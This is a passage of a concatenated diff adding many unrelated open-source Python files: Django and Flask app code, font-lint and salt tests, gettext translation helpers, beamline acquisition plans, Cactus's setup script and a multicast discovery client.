*, + output_file: str, + file_name: str, + folder_id: str, + drive_id: Optional[str] = None, + delegate_to: Optional[str] = None, + impersonation_chain: Optional[Union[str, Sequence[str]]] = None, + **kwargs, + ) -> None: + super().__init__(**kwargs) + self.output_file = output_file + self.folder_id = folder_id + self.drive_id = drive_id + self.file_name = file_name + self.delegate_to = delegate_to + self.impersonation_chain = impersonation_chain + + def execute(self, context): + self.log.info('Executing download: %s into %s', self.file_name, self.output_file) + gdrive_hook = GoogleDriveHook( + delegate_to=self.delegate_to, + impersonation_chain=self.impersonation_chain, + ) + file_metadata = gdrive_hook.get_file_id( + folder_id=self.folder_id, file_name=self.file_name, drive_id=self.drive_id + ) + + with open(self.output_file, "wb") as file: + gdrive_hook.download_file(file_id=file_metadata["id"], file_handle=file) diff --git a/pool/shard008/Python/0078710_urls.py b/pool/shard008/Python/0078710_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..0534d4d17b81b296adf1c021721f7cd501aed8f7 --- /dev/null +++ b/pool/shard008/Python/0078710_urls.py @@ -0,0 +1,10 @@ +from django.conf.urls import patterns, include, url +from django.contrib import admin +from django.conf.urls.static import static +from django.conf import settings +from django.views.generic import RedirectView + +urlpatterns = patterns('', + (r'^filesAndForms/', include('filesAndForms.urls')), + (r'^$', RedirectView.as_view(url='filesAndForms/list/')), +) + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) diff --git a/pool/shard008/Python/0078712_database.py b/pool/shard008/Python/0078712_database.py new file mode 100644 index 0000000000000000000000000000000000000000..01507a62eeb7e44a2f147d9045f0a8a71fd49ff3 --- /dev/null +++ b/pool/shard008/Python/0078712_database.py @@ -0,0 +1,34 @@ +import sqlite3 +import os +from flask import g, Flask + +DATABASE = os.path.dirname(os.path.realpath(__file__)) + "/database/database.db" +app = Flask(__name__) + +def get_db(): + db = getattr(g, '_database', None) + if db is None: + db = g._database = connect_to_database() + return db + + +def connect_to_database(): + return sqlite3.connect(DATABASE) + +@app.teardown_appcontext +def close_connection(exception): + db = getattr(g, '_database', None) + if db is not None: + db.close() + +def query_db(query, args=(), one=False): + cur = get_db().execute(query, args) + rv = cur.fetchall() + g._database.commit() + cur.close() + return (rv[0] if rv else None) if one else rv + +if __name__ == "__main__": + with app.app_context(): + for user in query_db('select * from prova'): + print (user[0], 'has the id', user[1]) \ No newline at end of file diff --git a/pool/shard008/Python/0078717_test_check_font_tables.py b/pool/shard008/Python/0078717_test_check_font_tables.py new file mode 100644 index 0000000000000000000000000000000000000000..f75b8ffe4c4b31c40d5c4338fbb154c3ed14491b --- /dev/null +++ b/pool/shard008/Python/0078717_test_check_font_tables.py @@ -0,0 +1,51 @@ +# coding: utf-8 +# Copyright 2013 The Font Bakery Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# See AUTHORS.txt for the list of Authors and LICENSE.txt for the License. +from bakery_lint.base import BakeryTestCase as TestCase +from bakery_cli.ttfont import Font + + +class CheckFontHasDsigTable(TestCase): + + path = '.' + name = __name__ + targets = ['result'] + tool = 'lint' + + def test_check_font_has_dsig_table(self): + """ Check that font has DSIG table """ + font = Font.get_ttfont(self.path) + try: + font['DSIG'] + except KeyError: + self.fail('Font does not have "DSIG" table') + + +class CheckFontHasNotKernTable(TestCase): + + path = '.' + name = __name__ + targets = ['result'] + tool = 'lint' + + def test_no_kern_table_exists(self): + """ Check that no "KERN" table exists """ + font = Font.get_ttfont(self.path) + try: + font['KERN'] + self.fail('Font does not have "DSIG" table') + except KeyError: + pass diff --git a/pool/shard008/Python/0078721_0004_auto_20170527_1433.py b/pool/shard008/Python/0078721_0004_auto_20170527_1433.py new file mode 100644 index 0000000000000000000000000000000000000000..c491458641b1ecabece560da6cc03a563c6608fc --- /dev/null +++ b/pool/shard008/Python/0078721_0004_auto_20170527_1433.py @@ -0,0 +1,25 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11 on 2017-05-27 17:33 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('acessoPointApp', '0003_pessoa'), + ] + + operations = [ + migrations.AddField( + model_name='pessoa', + name='orgao_expedidor', + field=models.CharField(max_length=30, null=True), + ), + migrations.AlterField( + model_name='pessoa', + name='sobrenome', + field=models.CharField(max_length=50, null=True), + ), + ] diff --git a/pool/shard008/Python/0078725_auth_without_userstore.py b/pool/shard008/Python/0078725_auth_without_userstore.py new file mode 100644 index 0000000000000000000000000000000000000000..c0a1429ac3dcccc7179526bc23fd2b6c7eacf0ec --- /dev/null +++ b/pool/shard008/Python/0078725_auth_without_userstore.py @@ -0,0 +1,59 @@ +######### +# Copyright (c) 2015 GigaSpaces Technologies Ltd. All rights reserved +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# * See the License for the specific language governing permissions and +# * limitations under the License. + +from base64 import urlsafe_b64encode +from flask import request +from flask_securest.authentication_providers.abstract_authentication_provider\ + import AbstractAuthenticationProvider + +AUTH_HEADER_NAME = 'Authorization' +BASIC_AUTH_PREFIX = 'Basic' + + +class AuthorizeUserByUsername(AbstractAuthenticationProvider): + + @staticmethod + def _retrieve_request_credentials(): + auth_header = request.headers.get(AUTH_HEADER_NAME) + if not auth_header: + raise RuntimeError('Request authentication header "{0}" is empty ' + 'or missing'.format(AUTH_HEADER_NAME)) + + auth_header = auth_header.replace(BASIC_AUTH_PREFIX + ' ', '', 1) + try: + api_key = urlsafe_b64encode(auth_header) + except TypeError: + pass + else: + api_key_parts = api_key.split(':') + request_user_id = api_key_parts[0] + request_password = api_key_parts[1] + if not request_user_id or not request_password: + raise RuntimeError('username or password not found on request') + + return request_user_id, request_password + + def authenticate(self, userstore): + request_user_id, _ = self._retrieve_request_credentials() + if request_user_id != 'not_the_default_username': + raise Exception('authentication of {0} failed'. + format(self.request_user_id)) + + return {'username': 'mockusername', + 'password': 'mockpassword', + 'email:': 'mockemail@mock.com', + 'roles': [], + 'active': True + } diff --git a/pool/shard008/Python/0078726_i18n.py b/pool/shard008/Python/0078726_i18n.py new file mode 100644 index 0000000000000000000000000000000000000000..3b10594ee877da6f6fa0285ea10872cb74166e6e --- /dev/null +++ b/pool/shard008/Python/0078726_i18n.py @@ -0,0 +1,269 @@ +# -*- coding: utf-8 -*- +""" +Internationalization facilities + +Authors: David Malcolm +""" + +__author__ = """David Malcolm , Zack Cerza """ + +import config + +import os +import re +import gettext + +from logging import debugLogger as logger + +def safeDecode(string): + if not isinstance(string, unicode): + try: + string = string.decode('utf-8') + except UnicodeDecodeError: + #logger.log(traceback.format_exc()) + #logger.log("The following string is invalid and caused the above error: '%s'" % string) + string = string.decode('utf-8', 'replace') + return string + +def safeEncode(string): + pass + + +""" +Singleton list of TranslationDb instances, to be initialized by the script with +whatever translation databases it wants. +""" +translationDbs = [] + +class TranslationDb: + """ + Abstract base class representing a database of translations + """ + def getTranslationsOf(self, srcName): + """ + Pure virtual method to look up the translation of a string. + Returns a list of candidate strings (the translation), empty if not found. + + Note that a source string can map to multiple translated strings. For + example, in the French translation of Evolution, the string "Forward" can + translate to both + (i) "Faire suivre" for forwarding an email, and + (ii) "Suivant" for the next page in a wizard. + """ + raise NotImplementedError + +class GettextTranslationDb(TranslationDb): + """ + Implementation of TranslationDb which leverages gettext, using a single + translation mo-file. + """ + def __init__(self, moFile): + self.__moFile = moFile + self.__gnutranslations = gettext.GNUTranslations(open(moFile)) + + def getTranslationsOf(self, srcName): + srcName = safeDecode(srcName) + # print "searching for translations of %s"%srcName + # Use a dict to get uniqueness: + results = {} + result = self.__gnutranslations.ugettext(srcName) + if result!=srcName: + results[result]=None + + # Hack alert: + # + # Note that typical UI definition in GTK etc contains strings with + # underscores to denote accelerators. + # For example, the stock GTK "Add" item has text "_Add" which e.g. + # translates to "A_jouter" in French + # + # Since these underscores have been stripped out before we see these strings, + # we are looking for a translation of "Add" into "Ajouter" in this case, so + # we need to fake it, by looking up the string multiple times, with underscores + # inserted in all possible positions, stripping underscores out of the result. + # Ugly, but it works. + + for index in range(len(srcName)): + candidate = srcName[:index]+"_"+srcName[index:] + result = self.__gnutranslations.ugettext(candidate) + if result!=candidate: + # Strip out the underscore, and add to the result: + results[result.replace('_','')]=True + + return results.keys() + +def translate(srcString): + """ + Look up srcString in the various translation databases (if any), returning + a list of all matches found (potentially the empty list) + """ + # Use a dict to get uniqueness: + results = {} + # Try to translate the string: + for translationDb in translationDbs: + for result in translationDb.getTranslationsOf(srcString): + result = safeDecode(result) + results[result]=True + + # No translations found: + if len(results)==0: + if config.config.debugTranslation: + logger.log('Translation not found for "%s"'%srcString) + return results.keys() + +class TranslatableString: + """ + Class representing a string that we want to match strings against, handling + translation for us, by looking it up once at construction time. + """ + + def __init__(self, untranslatedString): + """ + Constructor looks up the string in all of the translation databases, storing + the various translations it finds. + """ + if isinstance(untranslatedString, unicode): + untranslatedString = safeDecode(untranslatedString) + else: + untranslatedString = safeDecode(untranslatedString) + self.untranslatedString = untranslatedString + self.translatedStrings = translate(untranslatedString) + + def matchedBy(self, string): + """ + Compare the test string against either the translation of the original + string (or simply the original string, if no translation was found). + """ + #print "comparing %s against %s"%(string, self) + def stringsMatch(inS, outS): + """ + Compares a regular expression to a string + + inS: the regular expression (or normal string) + outS: the normal string to be compared against + """ + inString = str(inS) + outString = outS + if inString == outString: + return True + inString = inString + '$' + inString = safeDecode(inString) + outString = safeDecode(outString) + if inString[0] == '*': + inString = "\\" + inString + # Escape all parentheses, since grouping will never be needed here + inString = re.sub('([\(\)])', r'\\\1', inString) + match = re.match(inString, outString) + matched = match is not None + return matched + + matched = False + # the 'ts' variable keeps track of whether we're working with + # translated strings. it's only used for debugging purposes. + #ts = 0 + #print string, str(self) + for translatedString in self.translatedStrings: + #ts = ts + 1 + matched = stringsMatch(translatedString, string) + if not matched: + matched = translatedString == string + if matched: return matched + #ts=0 + return stringsMatch(self.untranslatedString, string) + + def __str__(self): + """ + Provide a meaningful debug version of the string (and the translation in + use) + """ + if len(self.translatedStrings)>0: + # build an output string, with commas in the correct places + translations = "" + for tString in self.translatedStrings: + translations += u'"%s", ' % safeDecode(tString) + result = u'"%s" (%s)' % (safeDecode(self.untranslatedString), translations) + return safeDecode(result) + else: + return '"%s"' % (self.untranslatedString) + + + +def isMoFile(filename, language = ''): + """ + Does the given filename look like a gettext mo file? + + Optionally: Does the file also contain translations for a certain language, + for example 'ja'? + """ + if re.match('(.*)\\.mo$', filename): + if not language: return True + elif re.match('/usr/share/locale(.*)/%s(.*)/LC_MESSAGES/(.*)\\.mo$' % \ + language, filename): + return True + else: + return False + else: + return False + +def loadAllTranslationsForLanguage(language): + import distro + result = [] + for moFile in distro.packageDb.getMoFiles(language): + translationDbs.append(GettextTranslationDb(moFile)) + +def getMoFilesForPackage(packageName, language = '', getDependencies=True): + """ + Look up the named package and find all gettext mo files within it and its + dependencies. It is possible to restrict the results to those of a certain + language, for example 'ja'. + """ + import distro + + result = [] + for filename in distro.packageDb.getFiles(packageName): + if isMoFile(filename, language): + result.append(filename) + + if getDependencies: + # Recurse: + for dep in distro.packageDb.getDependencies(packageName): + # We pass False to the inner call because getDependencies has already + # walked the full tree + result.extend(getMoFilesForPackage(dep, language, False)) + + return result + +def loadTranslationsFromPackageMoFiles(packageName, getDependencies=True): + """ + Helper function which appends all of the gettext translation mo-files used by + the package (and its dependencies) to the translation database list. + """ + # Keep a list of mo-files that are already in use to avoid duplicates. + moFiles = {} + def load(packageName, language = '', getDependencies = True): + for moFile in getMoFilesForPackage(packageName, language, getDependencies): + # Searching the popt mo-files for translations makes gettext bail out, + # so we ignore them here. This is + # https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172155 . + if 'popt.mo' not in moFile and not (moFiles.has_key(moFile)): + try: + translationDbs.append(GettextTranslationDb(moFile)) + moFiles[moFile] = None + except (AttributeError, IndexError), inst: + if config.config.debugTranslation: + #import traceback + #logger.log(traceback.format_exc()) + logger.log("Warning: Failed to load mo-file for translation: " + moFile) + + # Hack alert: + # + # The following special-case is necessary for Ubuntu, since their + # translations are shipped in a single huge package. The downside to + # this special case, aside from the simple fact that there is one, + # is that it makes automatic translations much slower. + + import distro + language = os.environ.get('LANGUAGE', os.environ['LANG'])[0:2] + if isinstance(distro.distro, distro.Ubuntu): + load('language-pack-gnome-%s' % language, language) + load(packageName, language, getDependencies) diff --git a/pool/shard008/Python/0078729_blender_voxeldata.py b/pool/shard008/Python/0078729_blender_voxeldata.py new file mode 100644 index 0000000000000000000000000000000000000000..2165d29bfafac6357306774b7154df2b51958361 --- /dev/null +++ b/pool/shard008/Python/0078729_blender_voxeldata.py @@ -0,0 +1,56 @@ +def generate_blender_voxeldata(fname, data): + """ Write a binary file readable by Blender + + Parameters + ---------- + fname : String + Filename to store the output, ending with .bin + data : ndarray + If the array is 3 dimensional, assume a structural image + If the array is 4 dimensional, assume a functional image + + Note + ---- + For instructions on how to render the structural or functional images, + see http://brainblend.sourceforge.net/index.html + """ + + import struct + import numpy as np + + if len(data.shape) == 4: + frames = data.shape[3] + time = True + elif len(data.shape) == 3: + frames = 1 + time = False + else: + raise Exception('Data array has no valid dimension!') + + xdim = data.shape[0] + ydim = data.shape[1] + zdim = data.shape[2] + + # write data to binary file + binfile = open(fname, 'wb') + x = struct.pack('i', xdim) + y = struct.pack('i', ydim) + z = struct.pack('i', zdim) + f = struct.pack('i', frames) + + binfile.write(x) + binfile.write(y) + binfile.write(z) + binfile.write(f) + + # convert to float32 + data = np.array(data, dtype = np.float32) + + if time: + for i in range(frames): + print 'write frame... ', i + data[:,:,:,i].tofile(binfile) + else: + data.tofile(binfile) + + binfile.close() diff --git a/pool/shard008/Python/0078732_views.py b/pool/shard008/Python/0078732_views.py new file mode 100644 index 0000000000000000000000000000000000000000..a09949c151cc38230c84d93890ef7a5f1c98540d --- /dev/null +++ b/pool/shard008/Python/0078732_views.py @@ -0,0 +1,54 @@ +from django.shortcuts import render +from django.contrib.auth.decorators import login_required +from productores.models import * +from reportes.models import * +import json as simplejson +from django.http import HttpResponse + +# Create your views here. +@login_required +def index(request,template="index.html"): + try: + del request.session['anio'] + del request.session['pais'] + del request.session['departamento'] + del request.session['municipio'] + del request.session['organizacion'] + del request.session['sexo'] + del request.session['edad'] + except: + pass + return render(request, template, locals()) + +@login_required +def list_reportes(request,template="reportes.html"): + object_list = Reporte.objects.all().order_by('fecha_elaborado') + + return render(request, template, locals()) + +#obtener puntos en el mapa +def obtener_lista(request): + if request.is_ajax(): + lista = [] + for objeto in Productor.objects.all(): + dicc = dict(nombre=objeto.municipio.nombre, id=objeto.id, + lon=float(objeto.municipio.longitud), + lat=float(objeto.municipio.latitud) + ) + lista.append(dicc) + + serializado = simplejson.dumps(lista) + return HttpResponse(serializado, content_type = 'application/json') + +def obtener_lista_org(request): + if request.is_ajax(): + lista = [] + for objeto in Organizacion.objects.filter(municipio__isnull = False): + dicc = dict(nombre=objeto.municipio.nombre, id=objeto.id, + lon=float(objeto.municipio.longitud), + lat=float(objeto.municipio.latitud) + ) + lista.append(dicc) + + serializado = simplejson.dumps(lista) + return HttpResponse(serializado, content_type = 'application/json') \ No newline at end of file diff --git a/pool/shard008/Python/0078733_9999-acq-plans.py b/pool/shard008/Python/0078733_9999-acq-plans.py new file mode 100644 index 0000000000000000000000000000000000000000..6c7fd26cc47d04f1f153e41ece0851e54eb6ec2d --- /dev/null +++ b/pool/shard008/Python/0078733_9999-acq-plans.py @@ -0,0 +1,79 @@ +### This plan is named 9999-* to have it after 999-load.py where xpdacq is configured #### +### Created by Sanjit Ghose 28th Aug, 2017 during new BS/xpdAcq/an upgrades ######## + +from xpdacq.beamtime import _configure_area_det +import os +import numpy as np +import itertools +from bluesky.plans import (scan, count, list_scan, adaptive_scan) +from bluesky.preprocessors import subs_wrapper, reset_positions_wrapper +from bluesky.plan_stubs import abs_set +from bluesky.callbacks import LiveTable, LivePlot +from bluesky.plan_tools import print_summary + +#### Plan to run Gas/RGA2/pe1c over xpdacq protocols of samples ######## + +gas.gas_list = ['He', 'N2', 'CO2', 'Air'] + +def Gas_Plan(gas_in = 'He', liveplot_key=None, totExpTime = 5, num_exp = 1, delay = 1): + + """ + Execute it + ---------- + >> %run -i /home/xf28id2/Documents/Sanjit/Scripts/GasXrun_Plan.py + >> change all the parameters inside Gas_Plan as required + >>> gas_plan = Gas_Plan(gas_in = 'He', liveplot_key= 'rga_mass1', totExpTime = 5, num_exp = 3, delay = 1) + >> to run the xrun, save metadata & save_tiff run the following + >>> run_and_save(sample_num = 0) + + Example + ------- + Set the gasses. They can be in any other, nothing to do with + the order they are used in the plan. But, should match the connections on switch. + >>> gas.gas_list = ['He', 'N2', 'CO2'] + >>> RGA mass is set to different value, base shows 1^-13 with He 5 cc flow shows max 2^-8 + >>> RGA mass setup in mID mode: 4,18,28,31,44,79,94,32,81 + Parameters + ---------- + gas_in : string + e.g., 'He', default is 'He' + These gas must be in `gas.gas_list` but they may be in any order. + liveplot_key : str, optional + e. g., liveplot_key = rga_mass1 + data key for LivePlot. default is None, which means no LivePlot + totExpTime : float + total exposure time per frame in seconds. Dafault value is 5 sec + num_exp : int + number of images/exposure, default is 1 + delay: float + delay time between exposures in sec + + """ + + ## switch gas + yield from abs_set(gas, gas_in) + + ## configure the exposure time first + _configure_area_det(totExpTime) # 5 secs exposuretime + + ## ScanPlan you need + plan = bp.count([pe1c, gas.current_gas, rga], num=num_exp, delay= delay) + + #plan = bpp.subs_wrapper(plan, LiveTable([xpd_configuration['area_det'], rga])) # give you LiveTable + plan = bpp.subs_wrapper(plan, LiveTable([xpd_configuration['area_det'], gas.current_gas, rga])) + if liveplot_key and isinstance(liveplot_key, str): + plan = bpp.subs_wrapper(plan, LivePlot(liveplot_key)) + + yield from plan + +def run_and_save(sample_num = 0): + data_dir = "/direct/XF28ID2/pe2_data/xpdUser/tiff_base/" + file_name = data_dir + "sample_num_" + str(sample_num) + ".csv" + xrun(sample_num, gas_plan) + h = db[-1] + tb = h.table() + tb.to_csv(path_or_buf =file_name, columns = ['time', 'gas_current_gas', 'rga_mass1', + 'rga_mass2', 'rga_mass3', 'rga_mass4', 'rga_mass5', + 'rga_mass6', 'rga_mass7', 'rga_mass8', 'rga_mass9']) + + integrate_and_save_last() diff --git a/pool/shard008/Python/0078734_setup.py b/pool/shard008/Python/0078734_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..f97692954f26e6b2a38b764baa867ed9c9c31227 --- /dev/null +++ b/pool/shard008/Python/0078734_setup.py @@ -0,0 +1,144 @@ +import os +import sys +import subprocess +import shutil + +from distutils.sysconfig import get_python_lib +from setuptools import setup + + +VERSION = "3.1.0" +SKELETON_FOLDERS = ['pages', 'plugins', 'static/css', 'static/images', 'static/js', 'templates', 'locale'] +SKELETON_GLOB = ['skeleton/{0}/*'.format(folder) for folder in SKELETON_FOLDERS] + +if "uninstall" in sys.argv: + + def run(command): + try: + return subprocess.check_output(command, shell=True).strip() + except subprocess.CalledProcessError: + pass + + cactusBinPath = run('which cactus') + cactusPackagePath = None + + for p in os.listdir(get_python_lib()): + if p.lower().startswith('cactus') and p.lower().endswith('.egg'): + cactusPackagePath = os.path.join(get_python_lib(), p) + + if cactusBinPath and os.path.exists(cactusBinPath): + sys.stdout.write('Removing cactus script at %s' % cactusBinPath) + os.unlink(cactusBinPath) + + if cactusPackagePath and os.path.isdir(cactusPackagePath): + sys.stdout.write('Removing cactus package at %s' % cactusPackagePath) + shutil.rmtree(cactusPackagePath) + + sys.exit() + +if "install" in sys.argv or "bdist_egg" in sys.argv: + + # Check if we have an old version of cactus installed + p1 = '/usr/local/bin/cactus.py' + p2 = '/usr/local/bin/cactus.pyc' + + if os.path.exists(p1) or os.path.exists(p2): + sys.stdout.write("Error: you have an old version of Cactus installed, we need to move it:") + if os.path.exists(p1): + sys.stderr.write(" sudo rm %s" % p1) + if os.path.exists(p2): + sys.stderr.write(" sudo rm %s" % p2) + sys.exit() + + +# From Django + +def fullsplit(path, result=None): + """ + Split a pathname into components (the opposite of os.path.join) + in a platform-neutral way. + """ + if result is None: + result = [] + head, tail = os.path.split(path) + if head == '': + return [tail] + result + if head == path: + return result + return fullsplit(head, [tail] + result) + + +EXCLUDE_FROM_PACKAGES = ['cactus.skeleton'] + + +def is_package(package_name): + for pkg in EXCLUDE_FROM_PACKAGES: + if package_name.startswith(pkg): + return False + return True + +# Compile the list of packages available, because distutils doesn't have +# an easy way to do this. +packages, package_data = [], {} + +root_dir = os.path.dirname(__file__) +if root_dir != '': + os.chdir(root_dir) +cactus_dir = 'cactus' + +for dirpath, dirnames, filenames in os.walk(cactus_dir): + # Ignore PEP 3147 cache dirs and those whose names start with '.' + dirnames[:] = [d for d in dirnames if not d.startswith('.') and d != '__pycache__'] + parts = fullsplit(dirpath) + package_name = '.'.join(parts) + if '__init__.py' in filenames and is_package(package_name): + packages.append(package_name) + elif filenames: + relative_path = [] + while '.'.join(parts) not in packages: + relative_path.append(parts.pop()) + relative_path.reverse() + path = os.path.join(*relative_path) + package_files = package_data.setdefault('.'.join(parts), []) + package_files.extend([os.path.join(path, f) for f in filenames]) + + +setup( + name='Cactus', + version=VERSION, + description="Static site generation and deployment.", + long_description=open('README.md').read(), + url='http://github.com/koenbok/Cactus', + author='Koen Bok', + author_email='koen@madebysofa.com', + license='BSD', + packages=packages, + package_data=package_data, + entry_points={ + 'console_scripts': [ + 'cactus = cactus.cli:main', + ], + }, + install_requires=open(os.path.join(root_dir, "requirements.txt")).readlines(), + extras_require={ + 'GCS Deployment': ['google-api-python-client'], + 'Cloud Files Deployment': ['pyrax'], + 'Mac Native FSEvents': ['macfsevents'], + }, + tests_require=open(os.path.join(root_dir, "test_requirements.txt")).readlines(), + zip_safe=False, + classifiers=[ + "Development Status :: 4 - Beta", + "Environment :: Console", + "Intended Audience :: Developers", + "License :: OSI Approved :: BSD License", + "Natural Language :: English", + "Operating System :: OS Independent", + "Programming Language :: Python :: 2", + "Programming Language :: Python :: 2.6", + "Programming Language :: Python :: 2.7", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.4", + "Topic :: Internet :: WWW/HTTP", + ], +) diff --git a/pool/shard008/Python/0078741_MCclt.py b/pool/shard008/Python/0078741_MCclt.py new file mode 100644 index 0000000000000000000000000000000000000000..29c2363ad62417003720bc674e4cb46d583b22b4 --- /dev/null +++ b/pool/shard008/Python/0078741_MCclt.py @@ -0,0 +1,59 @@ +import asyncio +import socket +import struct +import sys +import time + +BROADCAST_PORT = 1910 +BROADCAST_ADDR = "239.255.255.250" +#BROADCAST_ADDR = "ff0e::10" + +class DiscoveryClientProtocol(asyncio.DatagramProtocol): + def __init__(self, loop, addr): + self.loop = loop + self.transport = None + self.addr = addr + + def connection_made(self, transport): + self.transport = transport + sock = self.transport.get_extra_info('socket') + sock.settimeout(3) + addrinfo = socket.getaddrinfo(self.addr, None)[0] + if addrinfo[0] == socket.AF_INET: # IPv4 + ttl = struct.pack('@i', 1) + sock.setsockopt(socket.IPPROTO_IP, + socket.IP_MULTICAST_TTL, ttl) + else: + ttl = struct.pack('@i', 2) + sock.setsockopt(socket.IPPROTO_IPV6, + socket.IPV6_MULTICAST_HOPS, ttl) + + self.transport.sendto(sys.argv[1].encode("ascii"), (self.addr,BROADCAST_PORT)) + + def datagram_received(self, data, addr): + print("Reply from {}: {!r}".format(addr, data)) + # Don't close the socket as we might get multiple responses. + time.sleep(1) + self.transport.sendto(data, (self.addr,BROADCAST_PORT)) + + def error_received(self, exc): + print('Error received:', exc) + + def connection_lost(self, exc): + print("Socket closed, stop the event loop") + self.loop.stop() + + +loop = asyncio.get_event_loop() + +addrinfo = socket.getaddrinfo(BROADCAST_ADDR, None)[0] +sock = socket.socket(addrinfo[0], socket.SOCK_DGRAM) +connect = loop.create_datagram_endpoint( + lambda: DiscoveryClientProtocol(loop,BROADCAST_ADDR), + sock=sock, +) +transport, protocol = loop.run_until_complete(connect) +loop.run_forever() +transport.close() +loop.close() + diff --git a/pool/shard008/Python/0078743_test_create_application.py b/pool/shard008/Python/0078743_test_create_application.py new file mode 100644 index 0000000000000000000000000000000000000000..3c13a06c566b0551ca808373423a75e07158b4d2 --- /dev/null +++ b/pool/shard008/Python/0078743_test_create_application.py @@ -0,0 +1,34 @@ +__author__ = 'myang' + +from a10networks.a10api.login import GuiLogin +import unittest +# from selenium import webdriver +# from selenium.webdriver.common.keys import Keys +# from selenium.webdriver.common.alert import Alert +# from selenium.webdriver.common.action_chains import ActionChains +ax_ip = '192.168.102.226' +ax_username = 'admin' +ax_password = 'a10' + +# 全局变量 driver = '' +class CreateApplication(unittest.TestCase): + driver = '' + def setUp(self): + # global driver + login = GuiLogin(ax_ip,ax_username,ax_password) + self.driver = login.guiLogin() + + + def testCreateApplication(self): + print('it could work !') + def tearDown(self): + # global driver + self.driver.quit() + print('successfully quit !') + + + + + + + diff --git a/pool/shard008/Python/0078747_proc.py b/pool/shard008/Python/0078747_proc.py new file mode 100644 index 0000000000000000000000000000000000000000..5fb1f85938f237831b52e097cc1f61a007e4b427 --- /dev/null +++ b/pool/shard008/Python/0078747_proc.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# Created by Billy Wilson Arante +# Last updated on 2017/01/03 EST + +def proc1(p): + p[0] = p[1] + print p + + +def proc2(p): + p = p + [1] + print p + + +def proc3(p): + q = p + p.append(3) + q.pop() + print p + + +def proc4(p): + q = [] + while p: + q.append(p.pop()) + while q: + p.append(q.pop()) + print p + + +def main(): + """Main program""" + + p = [1, 2, 3] + + proc1(p) + proc2(p) + proc3(p) + proc4(p) + +if __name__ == "__main__": + # Call main if run as script + main() diff --git a/pool/shard008/Python/0078749_test_data.py b/pool/shard008/Python/0078749_test_data.py new file mode 100644 index 0000000000000000000000000000000000000000..97fe8b9de0b711cc57a3f68bdef78b78afa408f5 --- /dev/null +++ b/pool/shard008/Python/0078749_test_data.py @@ -0,0 +1,83 @@ +import sys + +import pytest +import salt.utils.data + + +def test_get_value_simple_path(): + data = {"a": {"b": {"c": "foo"}}} + assert [{"value": "foo"}] == salt.utils.data.get_value(data, "a:b:c") + + +@pytest.mark.skipif( + sys.version_info < (3, 6), + reason="Test will randomly fail since Python3.5 does not have ordered dictionaries", +) +def test_get_value_placeholder_dict(): + data = {"a": {"b": {"name": "foo"}, "c": {"name": "bar"}}} + assert [ + {"value": "foo", "id": "b"}, + {"value": "bar", "id": "c"}, + ] == salt.utils.data.get_value(data, "a:{id}:name") + + +@pytest.mark.skipif( + sys.version_info < (3, 6), + reason="Test will randomly fail since Python3.5 does not have ordered dictionaries", +) +def test_get_value_placeholder_list(): + data = {"a": [{"name": "foo"}, {"name": "bar"}]} + assert [ + {"value": "foo", "id": 0}, + {"value": "bar", "id": 1}, + ] == salt.utils.data.get_value(data, "a:{id}:name") + + +@pytest.mark.skipif( + sys.version_info < (3, 6), + reason="Test will randomly fail since Python3.5 does not have ordered dictionaries", +) +def test_get_value_nested_placeholder(): + data = { + "a": { + "b": {"b1": {"name": "foo1"}, "b2": {"name": "foo2"}}, + "c": {"c1": {"name": "bar"}}, + } + } + assert [ + {"value": "foo1", "id": "b", "sub": "b1"}, + {"value": "foo2", "id": "b", "sub": "b2"}, + {"value": "bar", "id": "c", "sub": "c1"}, + ] == salt.utils.data.get_value(data, "a:{id}:{sub}:name") + + +def test_get_value_nested_notfound(): + data = {"a": {"b": {"c": "foo"}}} + assert [{"value": []}] == salt.utils.data.get_value(data, "a:b:d", []) + + +def test_get_value_not_found(): + assert [{"value": []}] == salt.utils.data.get_value({}, "a", []) + + +def test_get_value_none(): + assert [{"value": None}] == salt.utils.data.get_value({"a": None}, "a") + + +def test_get_value_simple_type_path(): + assert [{"value": []}] == salt.utils.data.get_value({"a": 1024}, "a:b", []) + + +def test_get_value_None_path(): + assert [{"value": None}] == salt.utils.data.get_value({"a": None}, "a:b", []) + + +def test_flatten_recursion_error(): + """ + Test the flatten function for reference cycle detection + """ + data = [1, 2, 3, [4]] + data.append(data) + with pytest.raises(RecursionError) as err: + salt.utils.data.flatten(data) + assert str(err.value) == "Reference cycle detected. Check input list." diff --git a/pool/shard008/Python/0078750_views.py b/pool/shard008/Python/0078750_views.py new file mode 100644 index 0000000000000000000000000000000000000000..c390ece8539b3e1a0d5f23fb7714afa0939de9e1 --- /dev/null +++ b/pool/shard008/Python/0078750_views.py @@ -0,0 +1,19 @@ +import settings + +__author__ = 'Maruf Maniruzzaman' + +import tornado +from tornado import gen + +from cosmos.service.requesthandler import RequestHandler + + +class IndexHandler(RequestHandler): + @gen.coroutine + def get(self): + try: + with open(settings.INDEX_HTML_PATH) as f: + self.write(f.read()) + except IOError as e: + raise tornado.web.HTTPError(404, "File not found") + diff --git a/pool/shard008/Python/0078752_common.py b/pool/shard008/Python/0078752_common.py new file mode 100644 index 0000000000000000000000000000000000000000..d2d4035897031cbc3b96c82a4aa6f822fc131b2d --- /dev/null +++ b/pool/shard008/Python/0078752_common.py @@ -0,0 +1,158 @@ +"""Common code for TCP component.""" +from __future__ import annotations + +import logging +import select +import socket +import ssl +from typing import Any, Final + +import 